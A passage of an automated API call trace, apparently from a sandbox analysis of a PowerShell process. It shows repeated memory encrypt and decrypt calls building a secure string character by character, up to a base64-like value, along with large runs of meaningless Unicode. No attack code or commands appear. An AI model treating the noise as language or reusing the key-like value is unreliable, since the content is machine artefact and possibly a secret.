(param_1="CkRgdllX86TN⥪ꠟ똰赁") returned 0x10 [0229.823] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.823] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺⺾䓿襮炩䟱쓋啐⮪") returned 0x10 [0229.823] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺⺾䓿襮炩䟱쓋啐⮪") returned 0x10 [0229.823] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.823] SysStringLen (param_1="CkRgdllX86TNTꠟ똰赁") returned 0x10 [0229.823] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.823] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺엉Ⳇ둏簵ֵ捵镏") returned 0x10 [0229.823] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺엉Ⳇ둏簵ֵ捵镏") returned 0x10 [0229.823] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.824] SysStringLen (param_1="CkRgdllX86TNTd똰赁") returned 0x10 [0229.824] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.824] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺诘笴ᔞᖠﱆ♅") returned 0x10 [0229.824] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺诘笴ᔞᖠﱆ♅") returned 0x10 [0229.824] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.824] SysStringLen (param_1="CkRgdllX86TNTdB赁") returned 0x10 [0229.824] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.824] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺줚헮᧏ԋḥꇧ揿") returned 0x10 [0229.824] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺줚헮᧏ԋḥꇧ揿") returned 0x10 [0229.824] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.824] SysStringLen (param_1="CkRgdllX86TNTdBV") returned 0x10 [0229.824] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.825] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀") returned 0x10 [0229.825] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀") returned 0x10 [0229.825] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀") returned 0x10 [0229.825] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀") returned 0x18 [0229.826] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.826] SysStringLen (param_1="CkRgdllX86TNTdBVwᅿ㿇䲹ʴ⤼篙늻") returned 0x18 [0229.826] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.826] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀햓枖嵴蒞苦힅缌̂") returned 0x18 [0229.826] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀햓枖嵴蒞苦힅缌̂") returned 0x18 [0229.826] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.826] SysStringLen (param_1="CkRgdllX86TNTdBVw8㿇䲹ʴ⤼篙늻") returned 0x18 [0229.826] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.826] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀삤㚑ꊴ㉬ڟ벳伥灓") returned 0x18 [0229.826] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀삤㚑ꊴ㉬ڟ벳伥灓") returned 0x18 [0229.826] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.827] SysStringLen (param_1="CkRgdllX86TNTdBVw8d䲹ʴ⤼篙늻") returned 0x18 [0229.827] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.827] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀搵ꙋ릠暺熘憀圲略") returned 0x18 [0229.827] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀搵ꙋ릠暺熘憀圲略") returned 0x18 [0229.827] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.827] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPʴ⤼篙늻") returned 0x18 [0229.827] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.827] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀警䦖旑给쳳ౝ") returned 0x18 [0229.827] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀警䦖旑给쳳ౝ") returned 0x18 [0229.827] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.827] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPs⤼篙늻") returned 0x18 [0229.827] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.828] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀㇅逖鴽嘆襒ꅅ쏞") returned 0x18 [0229.828] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀㇅逖鴽嘆襒ꅅ쏞") returned 0x18 [0229.828] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.828] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsP篙늻") returned 0x18 [0229.828] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.828] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀ࡂ䟃᎒쀅噻䯨䉄뤣") returned 0x18 [0229.828] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀ࡂ䟃᎒쀅噻䯨䉄뤣") returned 0x18 [0229.828] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.828] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS늻") returned 0x18 [0229.828] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.828] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀챽竨є쥧瀛암斡") returned 0x18 [0229.828] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀챽竨є쥧瀛암斡") returned 0x18 [0229.829] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.829] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1") returned 0x18 [0229.829] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.829] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍") returned 0x18 [0229.829] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍") returned 0x18 [0229.829] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍") returned 0x18 [0229.830] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍") returned 0x20 [0229.830] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.830] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g꤮糤䡔挽ꔱ\∰) returned 0x20 [0229.830] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.830] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍幧숎釗バↂ㒀") returned 0x20 [0229.830] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍幧숎釗バↂ㒀") returned 0x20 [0229.830] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.830] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/糤䡔挽ꔱ\∰) returned 0x20 [0229.830] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.831] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍叩셩뙥⊽䁵튑嬙෸") returned 0x20 [0229.831] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍叩셩뙥⊽䁵튑嬙෸") returned 0x20 [0229.831] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.831] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/D䡔挽ꔱ\∰) returned 0x20 [0229.831] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.831] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍貨쐃砧ꗜꥅ幓摢") returned 0x20 [0229.831] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍貨쐃砧ꗜꥅ幓摢") returned 0x20 [0229.831] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.831] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DU挽ꔱ\∰) returned 0x20 [0229.831] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.832] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍荃齼糕ꉅ르\x1c鲖ⅅ") returned 0x20 [0229.832] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍荃齼糕ꉅ르\x1c鲖ⅅ") returned 0x20 [0229.832] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.832] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULꔱ\∰) returned 0x20 [0229.832] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.832] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍回ꍤ憯쇴形㶆翚") returned 0x20 [0229.832] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍回ꍤ憯쇴形㶆翚") returned 0x20 [0229.832] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.832] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULw\∰) returned 0x20 [0229.832] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.832] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍⟉䨙㦺᱒१ᚈ냀") returned 0x20 [0229.832] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍⟉䨙㦺᱒१ᚈ냀") returned 0x20 [0229.833] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.833] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweヶ") returned 0x20 [0229.833] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.833] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍滻㹦㗕천鍤鱞㋾") returned 0x20 [0229.833] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍滻㹦㗕천鍤鱞㋾") returned 0x20 [0229.833] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.833] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweU") returned 0x20 [0229.833] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.833] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗") returned 0x20 [0229.834] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗") returned 0x20 [0229.834] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗") returned 0x20 [0229.881] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗") returned 0x28 [0229.881] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.882] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweUr咀餑ꩭ骣⠹㢞눬") returned 0x28 [0229.882] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.882] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗蔇짛獲翬䐥䙩ꮊᎼ") returned 0x28 [0229.882] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗蔇짛獲翬䐥䙩ꮊᎼ") returned 0x28 [0229.882] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.882] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweUrZ餑ꩭ骣⠹㢞눬") returned 0x28 [0229.882] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.882] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗헫㒭量줮Ԭ\瓘⊎) returned 0x28 [0229.882] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗헫㒭量줮Ԭ\瓘⊎) returned 0x28 [0229.882] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.883] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweUrZrꩭ骣⠹㢞눬") returned 0x28 [0229.883] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.883] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗し갿꫿꭬鶓ѓ㓚\⋘) returned 0x28 [0229.883] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗し갿꫿꭬鶓ѓ㓚\⋘) returned 0x28 [0229.883] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.883] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweUrZrp骣⠹㢞눬") returned 0x28 [0229.883] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.883] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗효\ᵇ꫼㮀堆⊚) returned 0x28 [0229.883] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗효\ᵇ꫼㮀堆⊚) returned 0x28 [0229.883] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.883] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweUrZrpd⠹㢞눬") returned 0x28 [0229.883] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.884] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗᳇ꄆ菣욀᳁럡⌆") returned 0x28 [0229.884] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗᳇ꄆ菣욀᳁럡⌆") returned 0x28 [0229.884] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.884] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweUrZrpdh㢞눬") returned 0x28 [0229.884] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.884] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗냊쭎૑覜덇끃饤") returned 0x28 [0229.884] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗냊쭎૑覜덇끃饤") returned 0x28 [0229.884] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.884] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweUrZrpdhA눬") returned 0x28 [0229.884] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.884] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗ꨑ풽㎒梯铭醖蛷") returned 0x28 [0229.885] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗ꨑ풽㎒梯铭醖蛷") returned 0x28 [0229.885] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.885] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweUrZrpdhAZ") returned 0x28 [0229.885] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.885] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗闿醓\緞썲胷튘璨⊣) returned 0x28 [0229.885] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗闿醓\緞썲胷튘璨⊣) returned 0x28 [0229.885] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗闿醓\緞썲胷튘璨⊣) returned 0x28 [0229.886] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗闿醓\緞썲胷튘璨⊣) returned 0x30 [0229.886] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0229.886] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweUrZrpdhAZf꤆ꤞ좳簬⻿\俛≮) returned 0x30 [0229.886] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0229.886] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗闿醓\緞썲胷튘璨ㅴ≃檊䴍\Ꮬ㊆") returned 0x30 [0229.886] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗闿醓\緞썲胷튘璨ㅴ≃檊䴍\Ꮬ㊆") returned 0x30 [0229.886] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0229.887] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweUrZrpdhAZfOꤞ좳簬⻿\俛≮) returned 0x30 [0229.887] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0229.887] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗闿醓\緞썲胷튘璨֣죧퓈这긺\ᑄ鑪") returned 0x30 [0229.887] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗闿醓\緞썲胷튘璨֣죧퓈这긺\ᑄ鑪") returned 0x30 [0229.887] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0229.887] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweUrZrpdhAZfOU좳簬⻿\俛≮) returned 0x30 [0229.887] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0229.887] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗闿醓\緞썲胷튘璨몣㌎ﰷ읒䗎貽＝≲) returned 0x30 [0229.887] SysStringLen (param_1="⇔콰䳼젍ꊅṠ앃䁺㕂⧪䢮襛齃ࢪ羀醻஍ፎ꿛﷍岫氕Ⴃᅌ鹆䯭缗闿醓\緞썲胷튘璨몣㌎ﰷ읒䗎貽＝≲) returned 0x30 [0229.887] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0229.887] SysStringLen (param_1="CkRgdllX86TNTdBVw8dPsPS1g/DULweUrZrpdhAZfOU=簬⻿\俛≮) returned 0x30 [0229.887] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0229.888] EtwEventActivityIdControl () returned 0x0 [0229.888] EtwEventActivityIdControl () returned 0x0 [0229.888] EtwEventActivityIdControl () returned 0x0 [0229.889] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.889] EtwEventActivityIdControl () returned 0x0 [0229.890] EtwEventActivityIdControl () returned 0x0 [0229.890] EtwEventActivityIdControl () returned 0x0 [0229.890] SysStringLen (param_1="") returned 0x8 [0229.891] SysStringLen (param_1="N") returned 0x8 [0229.891] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.891] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0229.891] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0229.891] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.891] SysStringLen (param_1="ND") returned 0x8 [0229.891] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.891] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0229.891] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0229.891] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.891] SysStringLen (param_1="NDZ") returned 0x8 [0229.891] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.892] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0229.892] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0229.892] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.892] SysStringLen (param_1="NDZl") returned 0x8 [0229.892] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.892] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0229.892] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 